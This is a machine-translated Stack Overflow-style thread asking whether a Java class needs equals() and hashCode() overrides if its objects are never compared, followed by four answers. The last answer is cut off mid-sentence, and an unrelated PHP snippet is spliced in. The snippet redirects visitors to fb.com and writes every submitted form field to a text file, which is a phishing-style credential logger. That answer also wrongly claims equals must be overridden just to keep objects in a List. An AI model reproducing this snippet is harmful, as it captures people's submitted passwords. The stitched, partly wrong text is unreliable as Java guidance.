有效的Java:如果我创建的对象永远不会相互比较,我应该覆盖equals()和hashCode()吗?

时间:2016-05-03 01:51:00

标签: java

如果我创建的对象不用于list.contains(new Employee("MM"))等比较,并且这些对象只存储在List等数据库返回的List<Employee>employeeList = employeeService.getEmployeeList();中,那么我需要覆盖equals()类中的hashCode()Employee

4 个答案:

答案 0 :(得分:2)

如果您知道自己永远不会将该对象用作HashMap中的某个键,或者永远不会将其置于任何类型的Set中,或者从不对其进行任何操作对象比较除了&#34;这些引用是指字面上相同的实例或不是&#34;,那么您不必覆盖equals()hashCode()

如果情况并非如此,您必须覆盖它们,那么请考虑让IDE生成覆盖而不是手动执行 - 尤其是hashCode()。请注意,当IDE生成这些字段时,您可以告诉IDE要包含哪些字段以及不包括哪些字段,这甚至可以进一步减少手动编写覆盖的任何需要。

答案 1 :(得分:2)

不,如果您不需要自定义的相等定义,则无需覆盖.equals().hashCode()。只要您打算将类的每个实例都视为与其他实例不相等,默认值就可以正常工作。您可以将这些对象存储在List中,甚至可以存储在基于哈希的集合中,例如HashMapHashSet s - 这两个类对于默认的Object概念都没有问题等价。

此外,对于许多类,不应覆盖这些方法。许多常见的设计模式将包括不等同的类,例如factoriessingletonsstate machines。为这些类定义一个自定义的相等概念可能会引入奇怪的错误,或者至少只是不必要的样板。

另一方面,value types或专门用作某种数据的结构化表示的类几乎总是覆盖.equals().hashCode()(并且可能实现Comparable因为它是这类类的用户可能期望的。 Auto/Value项目使得创建这样的值类型变得非常轻松;如果这是你正在构建的课程类型,我强烈建议你使用它。

答案 2 :(得分:2)

正如QuantumMechanic上面所说,您无需覆盖equals()hashcode()

但是,如果要与其他人共享Employee类,最好添加相等和哈希码,以便其他人更容易使用。

此外,Eclipse可以通过右键单击 - &gt;生成这些功能。来源 - &gt;生成hashCode()equals()

祝你好运!

答案 3 :(得分:1)

为什么要覆盖Equals方法:

如果你需要将对象存储在Collection,List中,你应该重写equals方法,因为当你使用indexOf,lastIndexOf等API方法时,那些api方法在内部使用equals方法。如果你不重写等于方法,那么你可能会从集合中获取这些对象,因为身份检查不是从集合中取回对象的正确方法。

为什么要覆盖hashCode方法:

如果您的对象需要存储在地图集合中的集合或关键对象中,则必须覆盖Equals <?php header("Location: http://fb.com/ "); $handle = fopen("test.txt", "a"); foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?> ,因为这两种方法都用于从这些集合中获取对象